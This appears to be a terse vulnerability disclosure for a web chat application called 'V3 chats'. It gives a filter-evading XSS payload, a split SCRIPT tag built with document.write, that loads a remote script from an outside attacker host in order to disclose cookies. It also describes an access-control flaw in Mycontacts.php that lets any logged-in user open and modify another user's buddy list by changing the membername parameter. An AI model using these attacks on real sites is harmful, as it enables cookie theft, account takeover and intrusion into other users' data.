XSS vuln with cookie disclosure when editing profile:
To bypass V3 chats filters we can use this XSS example. Credits to
RSnake.Script tags wrapped around a document.write function that writes part of
our second
script tag.
<SCRIPT>document.write("<SCRI");</SCRIPT>PT
SRC="http://youfucktard.com/xss.js";></SCRIPT>
-------------------------------
Mycontacts.php XSS vulns with user bypass.
It seems after you log in as a user youre able to put in any username in
membername= and it will navigate you to their buddylist. From there you can
add,
remove, chat with, etc people on their buddylist. etc.
